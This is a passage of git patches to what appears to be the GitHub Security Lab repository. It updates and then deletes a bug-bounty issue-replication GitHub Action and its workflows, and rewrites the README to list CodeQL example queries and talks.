From 564fa3773a32505f601f6530402e66b8084090e8 Mon Sep 17 00:00:00 2001
From: Xavier Rene-Corail <xcorail@github.com>
Date: Thu, 4 Feb 2021 15:27:20 -0800
Subject: [PATCH 007/104] Create card at issue replication

---
 .github/actions/replicate/replicate.js | 68 +++++-------------------
 .github/actions/replicate/replicate.ts | 72 +++++---------------------
 2 files changed, 25 insertions(+), 115 deletions(-)

diff --git a/.github/actions/replicate/replicate.js b/.github/actions/replicate/replicate.js
index 3d323e8..b0d7097 100644
--- a/.github/actions/replicate/replicate.js
+++ b/.github/actions/replicate/replicate.js
@@ -19,7 +19,7 @@ var __importStar = (this && this.__importStar) || function (mod) {
     return result;
 };
 Object.defineProperty(exports, "__esModule", { value: true });
-exports.isFirstSubmission = exports.createInternalIssue = exports.generateInternalIssueContentFromPayload = exports.BOUNTY_LABELS = void 0;
+exports.createInternalIssue = exports.generateInternalIssueContentFromPayload = exports.BOUNTY_LABELS = void 0;
 const core = __importStar(require("@actions/core"));
 const github = __importStar(require("@actions/github"));
 const issues_1 = require("./issues");
@@ -27,7 +27,7 @@ exports.BOUNTY_LABELS = ['All For One', 'The Bug Slayer'];
 const COMMENT_TASK_LIST_AFO = `## Task List
 
 - **If this is your first time in this process, have a look at that [5 min video](https://drive.google.com/drive/folders/1Jq6UfqP3CRF9Iafde86_IPAQPfdgH5rR)**
-- **Visit the [documented process](https://github.com/github/pe-security-lab/blob/master/docs/bug_bounty.md)**
+- **Visit the [documented process](https://github.com/github/pe-security-lab/blob/main/docs/bug_bounty.md)**
 
 - [ ] CodeQL Initial assessment - In case of rejection, please record your decision in the comment below:
   - [ ] Acceptance
@@ -57,7 +57,7 @@ const COMMENT_TASK_LIST = {
 };
 const COMMENT_SCORING = `## Scoring
 
-- **Visit the [scoring guidelines](https://github.com/github/pe-security-lab/blob/master/docs/bug_bounty.md)**
+- **Visit the [scoring guidelines](https://github.com/github/pe-security-lab/blob/main/docs/bug_bounty.md)**
 - **Accepted values are: 0 (= NA), or 1 (minimal) to 5 (maximal). Any other value will throw an error**
 
 | Criterion | Score|
@@ -73,7 +73,6 @@ const COMMENT_SCORING = `## Scoring
 - [ ] Reject with encouragement swag (Decision: Dev Advocacy)
 - [ ] Accept
 `;
-const COMMENT_FIRST_SUBMISSION = `## :tada: First submission for this user :tada:`;
 const getIssueFromRef = async (issueRef) => {
     if (!issueRef)
         return undefined;
@@ -119,9 +118,8 @@ Submitted by [${issue.user.login}](${issue.user.html_url})
 ${issue.body ? issue.body : ""}`;
     return result;
 };
-exports.createInternalIssue = async (payload, issue) => {
+exports.createInternalIssue = async (issue) => {
     const internalRepoAccessToken = process.env['INT_REPO_TOKEN'];
-    const token = process.env['GITHUB_TOKEN'];
     let internal_ref = undefined;
     if (!internalRepoAccessToken) {
         core.debug("No valid token for creating issues on the internal repo");
@@ -161,47 +159,17 @@ exports.createInternalIssue = async (payload, issue) => {
             body: COMMENT_SCORING,
         });
         core.debug(`comment created ${issueCommentResponse2.data.url}`);
-        if (await exports.isFirstSubmission(payload, token)) {
-            const issueCommentResponse3 = await octokit.issues.createComment({
-                owner,
-                repo,
-                issue_number: internal_ref,
-                body: COMMENT_FIRST_SUBMISSION,
-            });
-            core.debug(`comment created ${issueCommentResponse3.data.url}`);
-        }
-    }
-    catch (error) {
-        core.debug(error.message);
-    }
-    return internal_ref;
-};
-const commentOriginalIssue = async (payload, internal_issue) => {
-    const repository = payload.repository;
-    const external_issue = payload.issue ? payload.issue.number : 0;
-    const token = process.env['GITHUB_TOKEN'];
-    if (!token) {
-        core.debug("No valid token for this repo");
-        return;
-    }
-    if (!repository || external_issue <= 0) {
-        core.debug("Invalid payload");
-        return;
-    }
-    try {
-        const octokit = new github.GitHub(token);
-        const issueCommentResponseOriginal = await octokit.issues.createComment({
-            owner: repository.owner.login,
-            repo: repository.name,
-            issue_number: external_issue,
-            body: `Thanks for submitting this bounty :heart:!
-            Your submission is tracked internally with the issue reference ${internal_issue}.`,
+        const issueCard = await octokit.projects.createCard({
+            column_id: (issue.labels.includes(exports.BOUNTY_LABELS[1])) ? 10205381 : 10205379,
+            content_id: internal_ref,
+            content_type: 'issue',
         });
-        core.debug(`comment created ${issueCommentResponseOriginal.data.url}`);
+        core.debug(`Card creation status: ${issueCard.status}`);
     }
     catch (error) {
         core.debug(error.message);
     }
+    return internal_ref;
 };
 const checkDuplicates = async (payload) => {
     var _a;
@@ -222,27 +190,15 @@ const checkDuplicates = async (payload) => {
     }
     return false;
 };
-exports.isFirstSubmission = async (payload, token) => {
-    var _a;
-    const repository = payload.repository;
-    if (!repository)
-        return false;
-    const allSubmissions = await issues_1.getIssueList(repository.owner.login, repository.name, token, false, true);
-    return !issues_1.isUserAlreadyParticipant((_a = payload.issue) === null || _a === void 0 ? void 0 : _a.user.login, allSubmissions);
-};
 const run = async () => {
     const internalIssue = await exports.generateInternalIssueContentFromPayload(github.context.payload, core.getInput('specific_issue'));
     if (!internalIssue)
         return;
-    const existingIssue = core.getInput('existingIssue') || true;
-    if (existingIssue && await checkDuplicates(github.context.payload))
+    if (await checkDuplicates(github.context.payload))
         return;
-    const internal_ref = await exports.createInternalIssue(github.context.payload, internalIssue);
+    const internal_ref = await exports.createInternalIssue(internalIssue);
     if (!internal_ref)
         return;
-    if (!existingIssue) {
-        commentOriginalIssue(github.context.payload, internal_ref);
-    }
 };
 run();
 //# sourceMappingURL=replicate.js.map
\ No newline at end of file
diff --git a/.github/actions/replicate/replicate.ts b/.github/actions/replicate/replicate.ts
index 386efa1..8c60d48 100644
--- a/.github/actions/replicate/replicate.ts
+++ b/.github/actions/replicate/replicate.ts
@@ -1,7 +1,7 @@
 import * as core from '@actions/core'
 import * as github from '@actions/github'
 import { WebhookPayload } from '@actions/github/lib/interfaces'
-import { getIssueList, internalIssueAlreadyCreated, isUserAlreadyParticipant } from './issues'
+import { getIssueList, internalIssueAlreadyCreated } from './issues'
 
 export const BOUNTY_LABELS = ['All For One', 'The Bug Slayer'] as const
 export type BountyType = typeof BOUNTY_LABELS[number]
@@ -12,7 +12,7 @@ type GitHubIssue = { [key: string]: any, number: number, html_url?: string | und
 const COMMENT_TASK_LIST_AFO = `## Task List
 
 - **If this is your first time in this process, have a look at that [5 min video](https://drive.google.com/drive/folders/1Jq6UfqP3CRF9Iafde86_IPAQPfdgH5rR)**
-- **Visit the [documented process](https://github.com/github/pe-security-lab/blob/master/docs/bug_bounty.md)**
+- **Visit the [documented process](https://github.com/github/pe-security-lab/blob/main/docs/bug_bounty.md)**
 
 - [ ] CodeQL Initial assessment - In case of rejection, please record your decision in the comment below:
   - [ ] Acceptance
@@ -45,7 +45,7 @@ const COMMENT_TASK_LIST: CommentMap = {
 
 const COMMENT_SCORING = `## Scoring
 
-- **Visit the [scoring guidelines](https://github.com/github/pe-security-lab/blob/master/docs/bug_bounty.md)**
+- **Visit the [scoring guidelines](https://github.com/github/pe-security-lab/blob/main/docs/bug_bounty.md)**
 - **Accepted values are: 0 (= NA), or 1 (minimal) to 5 (maximal). Any other value will throw an error**
 
 | Criterion | Score|
@@ -62,8 +62,6 @@ const COMMENT_SCORING = `## Scoring
 - [ ] Accept
 `
 
-const COMMENT_FIRST_SUBMISSION = `## :tada: First submission for this user :tada:`
-
 const getIssueFromRef = async (issueRef: string | undefined): Promise<GitHubIssue | undefined> => {
     if(!issueRef)
         return undefined
@@ -116,9 +114,8 @@ ${issue.body? issue.body : ""}`
     return result
 }
 
-export const createInternalIssue = async (payload: WebhookPayload, issue: Issue) : Promise<number | undefined> => {
+export const createInternalIssue = async (issue: Issue) : Promise<number | undefined> => {
     const internalRepoAccessToken: string | undefined = process.env['INT_REPO_TOKEN']
-    const token: string | undefined = process.env['GITHUB_TOKEN']
     let internal_ref: number | undefined = undefined
 
     if(!internalRepoAccessToken) {
@@ -162,49 +159,19 @@ export const createInternalIssue = async (payload: WebhookPayload, issue: Issue)
         })
         core.debug(`comment created ${issueCommentResponse2.data.url}`)
 
-        if(await isFirstSubmission(payload, token)) {
-            const issueCommentResponse3 = await octokit.issues.createComment({
-                owner,
-                repo,
-                issue_number: internal_ref,
-                body: COMMENT_FIRST_SUBMISSION,
-            })
-            core.debug(`comment created ${issueCommentResponse3.data.url}`)
-        }
+        const issueCard = await octokit.projects.createCard({
+            column_id: (issue.labels.includes(BOUNTY_LABELS[1]))? 10205381 : 10205379,
+            content_id: internal_ref,
+            content_type: 'issue',
+        });
+        core.debug(`Card creation status: ${issueCard.status}`)
+
     } catch(error) {
         core.debug(error.message)
     }
     return internal_ref
 }
 
-const commentOriginalIssue = async (payload: WebhookPayload, internal_issue: number): Promise<void> => {
-    const repository = payload.repository
-    const external_issue = payload.issue? payload.issue.number : 0
-    const token: string | undefined = process.env['GITHUB_TOKEN']
-
-    if(!token) {
-        core.debug("No valid token for this repo")
-        return
-    }
-    if(!repository || external_issue <=0) {
-        core.debug("Invalid payload")
-        return
-    }
-    try {
-        const octokit: github.GitHub = new github.GitHub(token)
-        const issueCommentResponseOriginal = await octokit.issues.createComment({
-            owner: repository.owner.login,
-            repo: repository.name,
-            issue_number: external_issue,
-            body: `Thanks for submitting this bounty :heart:!
-            Your submission is tracked internally with the issue reference ${internal_issue}.`,
-        })
-        core.debug(`comment created ${issueCommentResponseOriginal.data.url}`)
-    } catch (error) {
-        core.debug(error.message)
-    }
-}
-
 const checkDuplicates = async (payload: WebhookPayload): Promise<boolean> => {
     const internalRepoAccessToken: string | undefined = process.env['INT_REPO_TOKEN']
     const internalRepo = core.getInput('internal_repo') || '/'
@@ -223,30 +190,17 @@ const checkDuplicates = async (payload: WebhookPayload): Promise<boolean> => {
     return false
 }
 
-export const isFirstSubmission = async (payload: WebhookPayload, token : string | undefined) : Promise<boolean> => {
-    const repository = payload.repository
-    if(!repository)
-        return false
-    const allSubmissions = await getIssueList(repository.owner.login, repository.name, token, false, true)
-    return !isUserAlreadyParticipant(payload.issue?.user.login, allSubmissions)
-}
-
 const run = async (): Promise<void> => {
     const internalIssue = await generateInternalIssueContentFromPayload(github.context.payload, core.getInput('specific_issue'))
     if(!internalIssue)
         return
 
-    const existingIssue = core.getInput('existingIssue') || true
-    if(existingIssue && await checkDuplicates(github.context.payload)) 
+    if(await checkDuplicates(github.context.payload)) 
         return
 
-    const internal_ref = await createInternalIssue(github.context.payload, internalIssue)
+    const internal_ref = await createInternalIssue(internalIssue)
     if(!internal_ref)
         return
-    
-    if(!existingIssue) {
-        commentOriginalIssue(github.context.payload, internal_ref)
-    }
 }
 
 run()

From c0b7aead8b8e6d33fb1a41cc6b4f8e2e5610c998 Mon Sep 17 00:00:00 2001
From: Kevin Backhouse <kevinbackhouse@github.com>
Date: Tue, 23 Feb 2021 12:50:51 +0000
Subject: [PATCH 008/104] Update link to https://github.com/github/securitylab

---
 CodeQL_Queries/cpp/Facebook_Fizz_CVE-2019-3560/README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/CodeQL_Queries/cpp/Facebook_Fizz_CVE-2019-3560/README.md b/CodeQL_Queries/cpp/Facebook_Fizz_CVE-2019-3560/README.md
index 003e79e..e08808d 100644
--- a/CodeQL_Queries/cpp/Facebook_Fizz_CVE-2019-3560/README.md
+++ b/CodeQL_Queries/cpp/Facebook_Fizz_CVE-2019-3560/README.md
@@ -2,4 +2,4 @@
 
 Use [this snapshot](https://downloads.lgtm.com/snapshots/cpp/facebook/fizz/facebookincubator_fizz_cpp-srcVersion_c69ad1baf3f04620393ebadc3eedd130b74f4023-dist_odasa-lgtm-2019-01-13-f9dca2a-universal.zip) for the demo.
 
-[Fizz](https://github.com/facebookincubator/fizz) contained a remotely triggerable infinite loop. For more details about the bug, see this [blog post](https://securitylab.github.com/research/facebook-fizz-CVE-2019-3560). A proof-of-concept exploit is available [here](https://github.com/github/security-lab/tree/95c0bcc670f3b3d98a4d578f8993f8138092b94f/SecurityExploits/Facebook/Fizz/CVE-2019-3560).
+[Fizz](https://github.com/facebookincubator/fizz) contained a remotely triggerable infinite loop. For more details about the bug, see this [blog post](https://securitylab.github.com/research/facebook-fizz-CVE-2019-3560). A proof-of-concept exploit is available [here](https://github.com/github/securitylab/tree/95c0bcc670f3b3d98a4d578f8993f8138092b94f/SecurityExploits/Facebook/Fizz/CVE-2019-3560).

From b1a156062785b60b53c92cff336c56be611872b8 Mon Sep 17 00:00:00 2001
From: Kevin Backhouse <kevinbackhouse@github.com>
Date: Tue, 23 Feb 2021 15:25:45 +0000
Subject: [PATCH 009/104] Remove obsolete Bounties sub-directory.

---
 Bounties/README.md | 4 ----
 1 file changed, 4 deletions(-)
 delete mode 100644 Bounties/README.md

diff --git a/Bounties/README.md b/Bounties/README.md
deleted file mode 100644
index 3d554e3..0000000
--- a/Bounties/README.md
+++ /dev/null
@@ -1,4 +0,0 @@
-# Bounties
-
-This folder contains CodeQL queries submitted by security researchers to claim the GitHub Security Lab **Bug Slayer** bounty.
-Read more about the GitHub Security Lab [bounty program](https://securitylab.github.com/bounties). 

From d6333279be444988004d569eced43e95ac2fd383 Mon Sep 17 00:00:00 2001
From: Kevin Backhouse <kevinbackhouse@github.com>
Date: Tue, 23 Feb 2021 15:42:11 +0000
Subject: [PATCH 010/104] Add CodeQL resources to README.

---
 README.md | 45 ++++++++++++++++++++++++++++++++++++++++-----
 1 file changed, 40 insertions(+), 5 deletions(-)

diff --git a/README.md b/README.md
index 612ced0..67f7e06 100644
--- a/README.md
+++ b/README.md
@@ -1,9 +1,44 @@
 # GitHub Security Lab
 
-## CodeQL Queries
-[Security related queries](CodeQL_Queries)
+This is the main git repository of [GitHub Security Lab](https://securitylab.github.com/).
+We use it for these main purposes:
 
-## Proof of Concepts
-[Proof-of-concept exploits (PoCs) for bugs found by the Lab](SecurityExploits/)
+* We use [issues on this repo](https://github.com/github/securitylab/issues?q=is%3Aissue+is%3Aopen+label%3A%22All+For+One%22) to track CodeQL [bounty requests](https://securitylab.github.com/bounties).
+* We use it for publishing some of our proof-of-concept exploits (after the vulnerability has been fixed). These PoCs can be found in the [SecurityExploits](SecurityExploits) sub-directory.
+* Examples of CodeQL queries, which can be found in the [CodeQL_Queries](CodeQL_Queries) sub-directory.
 
-Resources related to [GitHub Security Lab](https://securitylab.github.com).
+## CodeQL Resources
+
+### Official resources
+
+* [CodeQL documentation](https://codeql.github.com/docs/)
+* [CodeQL GitHub repo](https://github.com/github/codeql)
+
+### Example queries
+
+* Java
+  * [Apache Struts CVE-2018-11776](CodeQL_Queries/java/Apache_Struts_CVE-2018-11776)
+* C/C++
+  * [Apple XNU icmp_error CVE-2018-4407](CodeQL_Queries/cpp/XNU_icmp_error_CVE-2018-4407)
+  * [Facebook Fizz integer overflow vulnerability (CVE-2019-3560)](CodeQL_Queries/cpp/Facebook_Fizz_CVE-2019-3560)
+  * [Eating error codes in libssh2](CodeQL_Queries/cpp/libssh2_eating_error_codes)
+* Javascript
+  * [Etherpad CVE-2018-6835](CodeQL_Queries/javascript/Etherpad_CVE-2018-6835)
+* C#
+  * [C# Zip Slip demo](CodeQL_Queries/csharp/ZipSlip)
+* GitHub Actions:
+  * [pull_request_target with explicit pull request checkout](CodeQL_Queries/actions/pull_request_target.ql)
+  * [Command injection from user-controlled Actions context](CodeQL_Queries/actions/script_injections.ql)
+
+### Videos
+
+* Conference talks/workshops:
+  * [Finding security vulnerabilities in JavaScript with CodeQL - GitHub Satellite 2020](https://www.youtube.com/watch?v=pYzfGaLTqC0)
+  * [Finding security vulnerabilities in Java with CodeQL - GitHub Satellite 2020](https://www.youtube.com/watch?v=nvCd0Ee4FgE)
+  * [CodeQL as an auditing oracle - POC 2020](https://www.youtube.com/watch?v=XmAEgl8bVhg)
+  * [mbuf-oflow: Finding Vulnerabilities In iOS/MacOS Networking Code](https://www.youtube.com/watch?v=0EHP2gzwVAY)
+* CodeQL demos from the Semmle days (short Youtube videos):
+  * [PII data leaks: Identifying personal information in logs with CodeQL](https://www.youtube.com/watch?v=hHaOxbyqy44)
+  * [Vulnerability Hunting: Quest for an Exploit using QL](https://www.youtube.com/watch?v=irrYp3wdtsw)
+  * [Finding Insecure Deserialization in Java](https://www.youtube.com/watch?v=XsUcSd75K00)
+  * [Finding integer overflows in Libssh2](https://www.youtube.com/watch?v=czXicfULOfk)

From a02e10f9a91f5c345f8a016e84d5eab17a04afdc Mon Sep 17 00:00:00 2001
From: Xavier RENE-CORAIL <xcorail@github.com>
Date: Tue, 23 Feb 2021 15:10:30 -0800
Subject: [PATCH 011/104] Remove issue replication workflows

---
 .../workflows/check-replication-manual.yml    | 19 -------------
 .github/workflows/check-replication.yml       | 21 ---------------
 .github/workflows/replicate-manual.yml        | 27 -------------------
 .github/workflows/workflow.yml                | 22 ---------------
 4 files changed, 89 deletions(-)
 delete mode 100644 .github/workflows/check-replication-manual.yml
 delete mode 100644 .github/workflows/check-replication.yml
 delete mode 100644 .github/workflows/replicate-manual.yml
 delete mode 100644 .github/workflows/workflow.yml

diff --git a/.github/workflows/check-replication-manual.yml b/.github/workflows/check-replication-manual.yml
deleted file mode 100644
index 0e1eef3..0000000
--- a/.github/workflows/check-replication-manual.yml
+++ /dev/null
@@ -1,19 +0,0 @@
-name: 'Bounty issue manual replication check'
-on: workflow_dispatch
-
-jobs:
-  build:
-    name: check-replicate-manual
-    runs-on: ubuntu-latest
-    steps:
-      - uses: actions/checkout@v1
-        with:
-          fetch-depth: 1
-      - run: npm install
-      - run: npm run build
-      - uses: ./.github/actions/check
-        with:
-          internal_repo: 'github/securitylab-bounties'
-        env:
-          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-          INT_REPO_TOKEN: ${{ secrets.INT_REPO_TOKEN }}
\ No newline at end of file
diff --git a/.github/workflows/check-replication.yml b/.github/workflows/check-replication.yml
deleted file mode 100644
index 21c243f..0000000
--- a/.github/workflows/check-replication.yml
+++ /dev/null
@@ -1,21 +0,0 @@
-name: 'Bounty issue replication check'
-on: 
-  schedule: 
-    - cron: '0 17 * * *'
-
-jobs:
-  build:
-    name: check-replicate
-    runs-on: ubuntu-latest
-    steps:
-      - uses: actions/checkout@v1
-        with:
-          fetch-depth: 1
-      - run: npm install
-      - run: npm run build
-      - uses: ./.github/actions/check
-        with:
-          internal_repo: 'github/securitylab-bounties'
-        env:
-          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-          INT_REPO_TOKEN: ${{ secrets.INT_REPO_TOKEN }}
\ No newline at end of file
diff --git a/.github/workflows/replicate-manual.yml b/.github/workflows/replicate-manual.yml
deleted file mode 100644
index 183ab15..0000000
--- a/.github/workflows/replicate-manual.yml
+++ /dev/null
@@ -1,27 +0,0 @@
-name: 'Bounty issue manual replication workflow'
-on:
-  workflow_dispatch:
-    inputs:
-      issue:
-        description: 'Issue number to replicate'
-        required: true
-
-jobs:
-  build:
-    name: replicate-manual
-    runs-on: ubuntu-latest
-    steps:
-      - uses: actions/checkout@v1
-        with:
-          fetch-depth: 1
-      - run: npm install
-      - run: npm run build
-      - uses: ./.github/actions/replicate
-        with:
-          internal_repo: 'github/securitylab-bounties'
-          existing_issue: false
-          specific_issue: ${{ github.event.inputs.issue }}
-        env:
-          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-          INT_REPO_TOKEN: ${{ secrets.INT_REPO_TOKEN }}
-
diff --git a/.github/workflows/workflow.yml b/.github/workflows/workflow.yml
deleted file mode 100644
index 0b42c85..0000000
--- a/.github/workflows/workflow.yml
+++ /dev/null
@@ -1,22 +0,0 @@
-name: 'Bounty issue replication workflow'
-on:
-  issues:
-    types: [opened]
-jobs:
-  build:
-    name: replicate-new
-    runs-on: ubuntu-latest
-    steps:
-      - uses: actions/checkout@v1
-        with:
-          fetch-depth: 1
-      - run: npm install
-      - run: npm run build
-      - uses: ./.github/actions/replicate
-        with:
-          internal_repo: 'github/securitylab-bounties'
-          existing_issue: false
-        env:
-          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-          INT_REPO_TOKEN: ${{ secrets.INT_REPO_TOKEN }}
-

From 24d557826d650cc570a16f07bb75933543a16c75 Mon Sep 17 00:00:00 2001
From: Xavier RENE-CORAIL <xcorail@github.com>
Date: Tue, 23 Feb 2021 15:10:52 -0800
Subject: [PATCH 012/104] Delete .github/actions directory

---
 .github/actions/check/action.yml              |  10 -
 .github/actions/check/check-replication.js    |  57 -----
 .github/actions/check/check-replication.ts    |  37 ----
 .../replicate/__tests__/replicate.test.js     | 143 ------------
 .../replicate/__tests__/replicate.test.ts     | 139 ------------
 .github/actions/replicate/action.yml          |  16 --
 .github/actions/replicate/issues.js           |  94 --------
 .github/actions/replicate/issues.ts           |  77 -------
 .github/actions/replicate/replicate.js        | 204 -----------------
 .github/actions/replicate/replicate.ts        | 206 ------------------
 10 files changed, 983 deletions(-)
 delete mode 100644 .github/actions/check/action.yml
 delete mode 100644 .github/actions/check/check-replication.js
 delete mode 100644 .github/actions/check/check-replication.ts
 delete mode 100644 .github/actions/replicate/__tests__/replicate.test.js
 delete mode 100644 .github/actions/replicate/__tests__/replicate.test.ts
 delete mode 100644 .github/actions/replicate/action.yml
 delete mode 100644 .github/actions/replicate/issues.js
 delete mode 100644 .github/actions/replicate/issues.ts
 delete mode 100644 .github/actions/replicate/replicate.js
 delete mode 100644 .github/actions/replicate/replicate.ts

diff --git a/.github/actions/check/action.yml b/.github/actions/check/action.yml
deleted file mode 100644
index 941ff80..0000000
--- a/.github/actions/check/action.yml
+++ /dev/null
@@ -1,10 +0,0 @@
-name: 'check-replication-action'
-description: 'Checks that all external bounties are replicated internally'
-author: 'xcorail'
-inputs:
-  internal_repo: 
-    description: 'The destination repo for the internal issue'
-    default: 'github/securitylab-bounties'
-runs:
-  using: 'node12'
-  main: './check-replication.js'
\ No newline at end of file
diff --git a/.github/actions/check/check-replication.js b/.github/actions/check/check-replication.js
deleted file mode 100644
index 476311d..0000000
--- a/.github/actions/check/check-replication.js
+++ /dev/null
@@ -1,57 +0,0 @@
-"use strict";
-var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
-    if (k2 === undefined) k2 = k;
-    Object.defineProperty(o, k2, { enumerable: true, get: function() { return m[k]; } });
-}) : (function(o, m, k, k2) {
-    if (k2 === undefined) k2 = k;
-    o[k2] = m[k];
-}));
-var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
-    Object.defineProperty(o, "default", { enumerable: true, value: v });
-}) : function(o, v) {
-    o["default"] = v;
-});
-var __importStar = (this && this.__importStar) || function (mod) {
-    if (mod && mod.__esModule) return mod;
-    var result = {};
-    if (mod != null) for (var k in mod) if (Object.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k);
-    __setModuleDefault(result, mod);
-    return result;
-};
-Object.defineProperty(exports, "__esModule", { value: true });
-const core = __importStar(require("@actions/core"));
-const github = __importStar(require("@actions/github"));
-const issues_1 = require("../replicate/issues");
-const run = async () => {
-    const internalRepoAccessToken = process.env['INT_REPO_TOKEN'];
-    const internalRepo = core.getInput('internal_repo') || '/';
-    const [owner, repo] = internalRepo.split('/');
-    const internalIssues = await issues_1.getIssueList(owner, repo, internalRepoAccessToken, false, false);
-    if (!internalIssues) {
-        core.setFailed(`Internal error. Cannot access the internal repo ${internalRepo}. Aborting`);
-        return;
-    }
-    else {
-        core.debug(`Retrieved ${internalIssues === null || internalIssues === void 0 ? void 0 : internalIssues.length} internal issues`);
-        const externalIssues = await issues_1.getIssueList(github.context.repo.owner, github.context.repo.repo, process.env['GITHUB_TOKEN'], true, true);
-        if (!externalIssues) {
-            core.setFailed(`Internal error when retrieving all issues.`);
-            return;
-        }
-        core.debug(`Retrieved ${externalIssues === null || externalIssues === void 0 ? void 0 : externalIssues.length} external issues`);
-        let failed = false;
-        externalIssues.forEach(issue => {
-            const ref = issues_1.internalIssueAlreadyCreated(issue === null || issue === void 0 ? void 0 : issue.html_url, internalIssues);
-            if (!ref) {
-                core.debug(`External issue ${issue === null || issue === void 0 ? void 0 : issue.number} is not replicated internally.`);
-                failed = true;
-            }
-        });
-        if (failed) {
-            core.setFailed("Some submissions are not replicated internally, see execution logs.");
-        }
-    }
-    return;
-};
-run();
-//# sourceMappingURL=check-replication.js.map
\ No newline at end of file
diff --git a/.github/actions/check/check-replication.ts b/.github/actions/check/check-replication.ts
deleted file mode 100644
index 7dbb23b..0000000
--- a/.github/actions/check/check-replication.ts
+++ /dev/null
@@ -1,37 +0,0 @@
-import * as core from '@actions/core'
-import * as github from '@actions/github'
-import { getIssueList, internalIssueAlreadyCreated } from '../replicate/issues'
-
-const run = async (): Promise<void> => {
-    const internalRepoAccessToken: string | undefined = process.env['INT_REPO_TOKEN']
-    const internalRepo = core.getInput('internal_repo') || '/'
-    const [owner, repo] = internalRepo.split('/')
-    const internalIssues = await getIssueList(owner, repo, internalRepoAccessToken, false, false)
-    if(!internalIssues) {
-        core.setFailed(`Internal error. Cannot access the internal repo ${internalRepo}. Aborting`)
-        return
-    } else {
-        core.debug(`Retrieved ${internalIssues?.length} internal issues`)
-        const externalIssues = await getIssueList(github.context.repo.owner, github.context.repo.repo, process.env['GITHUB_TOKEN'], true, true)
-        if(!externalIssues) {
-            core.setFailed(`Internal error when retrieving all issues.`)
-            return
-        }
-        core.debug(`Retrieved ${externalIssues?.length} external issues`)
-        let failed = false
-        externalIssues.forEach( issue => {
-            const ref = internalIssueAlreadyCreated(issue?.html_url, internalIssues)
-            if(!ref) {
-                core.debug(`External issue ${issue?.number} is not replicated internally.`)
-                failed = true
-            }
-        })
-        if(failed) {
-            core.setFailed("Some submissions are not replicated internally, see execution logs.")
-        }
-    }
-    return
-}
-
-run()
-
diff --git a/.github/actions/replicate/__tests__/replicate.test.js b/.github/actions/replicate/__tests__/replicate.test.js
deleted file mode 100644
index c341579..0000000
--- a/.github/actions/replicate/__tests__/replicate.test.js
+++ /dev/null
@@ -1,143 +0,0 @@
-"use strict";
-var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
-    if (k2 === undefined) k2 = k;
-    Object.defineProperty(o, k2, { enumerable: true, get: function() { return m[k]; } });
-}) : (function(o, m, k, k2) {
-    if (k2 === undefined) k2 = k;
-    o[k2] = m[k];
-}));
-var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
-    Object.defineProperty(o, "default", { enumerable: true, value: v });
-}) : function(o, v) {
-    o["default"] = v;
-});
-var __importStar = (this && this.__importStar) || function (mod) {
-    if (mod && mod.__esModule) return mod;
-    var result = {};
-    if (mod != null) for (var k in mod) if (Object.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k);
-    __setModuleDefault(result, mod);
-    return result;
-};
-Object.defineProperty(exports, "__esModule", { value: true });
-const core = __importStar(require("@actions/core"));
-const replicate = __importStar(require("../replicate"));
-const issues = __importStar(require("../issues"));
-const TEST_ISSUE_1 = 1;
-const TEST_REPOSITORY = {
-    full_name: 'myuser/myrepo',
-    name: 'myrepo',
-    owner: {
-        login: 'myuser',
-        name: 'My User'
-    }
-};
-const TEST_INVALID_PAYLOAD_NOUSER = {
-    repository: TEST_REPOSITORY,
-    issue: {
-        number: TEST_ISSUE_1,
-        html_url: 'https://github.com/test_owner/test_repo/issues/1',
-    }
-};
-const TEST_INVALID_PAYLOAD_NOURL = {
-    repository: TEST_REPOSITORY,
-    issue: {
-        number: TEST_ISSUE_1,
-        user: {
-            login: 'issue_user',
-            html_url: 'https://github.com/users/issue_user'
-        }
-    }
-};
-const TEST_INVALID_PAYLOAD_NOISSUE = {
-    repository: TEST_REPOSITORY,
-};
-const TEST_LABEL_ALLFORONE = { name: 'All For One' };
-const TEST_LABEL_NOTBOUNTY_1 = { name: 'not-a-bounty-label' };
-const TEST_LABEL_NOTBOUNTY_2 = { name: 'not-a-bounty-label-either' };
-const TEST_PAYLOAD_NOTBOUNTY = {
-    repository: TEST_REPOSITORY,
-    issue: {
-        number: TEST_ISSUE_1,
-        html_url: 'https://github.com/test_owner/test_repo/issues/1',
-        user: {
-            login: 'issue_user',
-            html_url: 'https://github.com/users/issue_user'
-        },
-        labels: [TEST_LABEL_NOTBOUNTY_1, TEST_LABEL_NOTBOUNTY_2],
-    }
-};
-const TEST_PAYLOAD = {
-    repository: TEST_REPOSITORY,
-    issue: {
-        number: TEST_ISSUE_1,
-        html_url: 'https://github.com/test_owner/test_repo/issues/1',
-        user: {
-            login: 'ghsecuritylab',
-            html_url: 'https://github.com/ghsecuritylab'
-        },
-        title: 'Issue Title',
-        labels: [TEST_LABEL_ALLFORONE, TEST_LABEL_NOTBOUNTY_1],
-        body: `# This is the issue title
-This is the issue body first line
-This is the issue body second line
-`
-    }
-};
-const TEST_GENERATED_ISSUE = {
-    title: '[All For One] Issue Title',
-    labels: ['All For One', 'not-a-bounty-label'],
-    bountyType: 'All For One',
-    body: `Original external [issue](https://github.com/test_owner/test_repo/issues/1)
-
-Submitted by [ghsecuritylab](https://github.com/ghsecuritylab)
-
-# This is the issue title
-This is the issue body first line
-This is the issue body second line
-`
-};
-describe('log errors when generating issue content', () => {
-    it('outputs a message for invalid issue in payload', async () => {
-        const debugMock = jest.spyOn(core, 'debug');
-        const issue = await replicate.generateInternalIssueContentFromPayload(TEST_INVALID_PAYLOAD_NOURL);
-        expect(debugMock).toHaveBeenCalledWith('Invalid issue payload');
-        expect(issue).toBeUndefined();
-        const issue2 = await replicate.generateInternalIssueContentFromPayload(TEST_INVALID_PAYLOAD_NOUSER);
-        expect(debugMock).toHaveBeenCalledWith('Invalid issue payload');
-        expect(issue2).toBeUndefined();
-        const issue3 = await replicate.generateInternalIssueContentFromPayload(TEST_INVALID_PAYLOAD_NOISSUE);
